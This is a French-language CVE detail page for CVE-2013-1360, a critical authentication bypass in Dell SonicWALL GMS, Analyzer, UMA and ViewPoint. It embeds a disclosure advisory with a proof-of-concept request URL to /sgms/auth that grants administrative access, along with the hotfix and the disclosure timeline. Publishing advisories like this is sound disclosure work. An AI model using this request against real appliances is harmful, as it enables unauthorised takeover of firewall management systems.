CVE-2013-1360 : Détail

CVE-2013-1360

9.8
/
Critique
Authorization problems
A07-Identif. and Authent. Fail
57.72%V4
Network
2020-02-11
14h44 +00:00
2020-02-11
14h44 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

An Authentication Bypass vulnerability exists in DELL SonicWALL Global Management System (GMS) 4.1, 5.0, 5.1, 6.0, and 7.0, Analyzer 7.0, Universal Management Appliance (UMA) 5.1, 6.0, and 7.0 and ViewPoint 4.1, 5.0, and 6.0 via a crafted request to the SGMS interface, which could let a remote malicious user obtain administrative access.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 24203

Date de publication : 2013-01-17 23h00 +00:00
Auteur : Nikolas Sotiriu
EDB Vérifié : No

-------------------------- NSOADV-2013-002 --------------------------- SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/) ______________________________________________________________________ ______________________________________________________________________ 111101111 11111 00110 00110001111 111111 01 01 1 11111011111111 11111 0 11 01 0 11 1 1 111011001 11111111101 1 11 0110111 1 1111101111 1001 0 1 10 11 0 10 11 1111111 1 111 111001 111111111 0 10 1111 0 11 11 111111111 1 1101 10 00111 0 0 11 00 0 1110 1 1011111111111 1111111 11 100 10111111 0 01 0 1 1 111110 11 1111111111111 11110000011 0111111110 0110 1110 1 0 11101111111111111011 11100 00 01111 0 10 1110 1 011111 1 111111111111111111111101 01 01110 0 10 111110 110 0 11101111111111111111101111101 111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111 111110110 10 0111110 1 0 0 1111111111111111111111111 110 111 11111 1 1 111 1 10011 101111111111011111111 0 1100 111 10 110 101011110010 11111111111111111111111 11 0011100 11 10 001100 0001 111111111111111111 10 11 11110 11110 00100 00001 10 1 1111 101010001 11111111 11101 0 1011 10000 00100 11100 00001101 0 0110 111011011 0110 10001 101 11110 1011 1 10 101 000001 01 00 1010 1 11001 1 1 101 10 110101011 0 101 11110 110000011 111 ______________________________________________________________________ ______________________________________________________________________ Title: SonicWALL GMS/Viewpoint/Analyzer Authentication Bypass (/sgms/) Severity: Critical CVE-ID: CVE-2013-1360 CVSS Base Score: 9 Impact: 8.5 Exploitability: 10 CVSS2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:C Advisory ID: NSOADV-2013-002 Found Date: 2012-04-26 Date Reported: 2012-12-13 Release Date: 2013-01-17 Author: Nikolas Sotiriu Website: http://sotiriu.de Twitter: http://twitter.com/nsoresearch Mail: nso-research at sotiriu.de URL: http://sotiriu.de/adv/NSOADV-2013-002.txt Vendor: DELL SonicWALL (http://www.sonicwall.com/) Affected Products: GMS Analyzer UMA ViewPoint Affected Platforms: Windows/Linux Affected Versions: GMS/Analyzer/UMA 7.0.x GMS/ViewPoint/UMA 6.0.x GMS/ViewPoint/UMA 5.1.x GMS/ViewPoint 5.0.x GMS/ViewPoint 4.1.x Remote Exploitable: Yes Local Exploitable: No Patch Status: Vendor released a patch (See Solution) Discovered by: Nikolas Sotiriu Background: =========== The SonicWALL® Global Management System (GMS) provides organizations, distributed enterprises and service providers with a powerful and intuitive solution to centrally manage and rapidly deploy SonicWALL firewall, anti-spam, backup and recovery, and secure remote access solutions. Flexibly deployed as software, hardware, or a virtual appliance, SonicWALL GMS offers centralized real-time monitoring, and comprehensive policy and compliance reporting. For enterprise customers, SonicWALL GMS streamlines security policy management and appliance deployment, minimizing administration overhead. Service Providers can use GMS to simplify the security management of multiple clients and create additional revenue opportunities. For added redundancy and scalability, GMS can be deployed in a cluster configuration. (Product description from Website) Description: ============ DELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that allows an unauthenticated, remote attacker to bypass the Web interface authentication offered by the affected product. The vulnerability is attributed to a broken session handling in the process of password change process of the web application. changing in the web application. An attacker may exploit this vulnerability by sending a specially crafted request to the SGMS Interface (/sgms/). The attacker gains full administrative access to the interface and full control over all managed appliances, which could lead to a full compromisation of the organisation. Proof of Concept : ================== Access the following URL to login to the sgms interface: http://host/sgms/auth?clientHash=765c5e5b571050030b63666663383064663 83761376339303932346163656262&clientHash2=03196ba18cffc80df87a7c9092 4acebb&changePassword=1&user=admin&ctlSGMSDomainId=DMN00000000000000 00000000001 If the Console is not directly shown, type any password you want in the change password dialog twice and hit submit to login. Maybe you need to access the following URL after this process: http://host/sgms/auth Solution: ========= Install Hotfix 125076.77. (Download from www.mysonicwall.com) Disclosure Timeline: ==================== 2012-04-26: Vulnerability found 2012-12-12: Sent the notification and disclosure policy and asked for a PGP Key (security@sonicwall.com) 2012-12-13: Sent advisory, disclosure policy and planned disclosure date (2012-12-28) to vendor 2012-12-18: SonicWALL analyzed the finding and wishes to delay the release to the 3. calendar week 2013. 2012-12-18: Changed release date to 2013-01-17. 2012-12-20: Patch is published 2013-01-17: Release of this advisory

Products Mentioned

Configuraton 0

Sonicwall>>Analyzer >> Version 7.0

Sonicwall>>Global_management_system >> Version 4.1

Sonicwall>>Global_management_system >> Version 5.0

Sonicwall>>Global_management_system >> Version 5.1

Sonicwall>>Global_management_system >> Version 6.0

Sonicwall>>Global_management_system >> Version 7.0

Sonicwall>>Universal_management_appliance >> Version 5.1

Sonicwall>>Universal_management_appliance >> Version 6.0

Sonicwall>>Universal_management_appliance >> Version 7.0

Sonicwall>>Viewpoint >> Version 4.1

Sonicwall>>Viewpoint >> Version 5.0

Sonicwall>>Viewpoint >> Version 6.0

Références